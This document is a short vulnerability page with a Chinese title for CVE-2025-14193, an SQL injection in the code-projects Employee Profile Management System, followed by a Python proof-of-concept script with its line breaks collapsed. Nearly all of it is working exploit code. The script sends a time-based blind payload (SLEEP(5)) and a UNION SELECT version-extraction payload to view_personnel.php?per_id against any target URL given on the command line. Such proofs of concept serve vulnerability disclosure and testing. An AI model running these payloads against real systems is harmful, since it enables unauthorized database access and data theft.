CVE-2025-14193 code-projects Employee Profile Management System SQL注入漏洞

# CVE-2025-14193 PoC - Employee Profile Management System SQL Injection # Target: /view_personnel.php?per_id=[SQL Injection Payload] import requests import sys def test_sqli(target_url): """Test for SQL injection vulnerability""" # Normal request (baseline) normal_url = f"{target_url}/view_personnel.php?per_id=1" # Time-based blind SQL injection payload # If vulnerable, the response will be delayed by ~5 seconds sqli_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--" sqli_url = f"{target_url}/view_personnel.php?per_id={sqli_payload}" print(f"[*] Testing target: {target_url}") print(f"[*] Normal request URL: {normal_url}") try: # Send normal request print("\n[+] Sending normal request...") response1 = requests.get(normal_url, timeout=10) print(f"[+] Status code: {response1.status_code}") # Send SQL injection request print("\n[+] Sending SQL injection payload...") import time start = time.time() response2 = requests.get(sqli_url, timeout=30) elapsed = time.time() - start print(f"[+] Status code: {response2.status_code}") print(f"[+] Response time: {elapsed:.2f} seconds") # Verify vulnerability if elapsed >= 5: print("\n[!] VULNERABLE: Time-based SQL injection confirmed!") print(f"[!] Response was delayed by {elapsed:.2f} seconds") return True else: print("\n[-] Not vulnerable or target not reachable") return False except requests.exceptions.Timeout: print("\n[!] VULNERABLE: Request timed out (possible SQL injection)") return True except Exception as e: print(f"\n[-] Error: {str(e)}") return False def extract_data(target_url): """Extract database information using SQL injection""" # Database version extraction payload_version = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL--" url = f"{target_url}/view_personnel.php?per_id={payload_version}" print(f"\n[*] Extracting database version...") print(f"[*] Payload: {payload_version}") try: response = requests.get(url, timeout=10) if '5.' in response.text or '8.' in response.text: print(f"[+] Database version detected in response") except Exception as e: print(f"[-] Error extracting data: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14193_poc.py <target_url>") print("Example: python cve-2025-14193_poc.py http://localhost/employee_management") sys.exit(1) target = sys.argv[1].rstrip('/') vulnerable = test_sqli(target) if vulnerable: extract_data(target)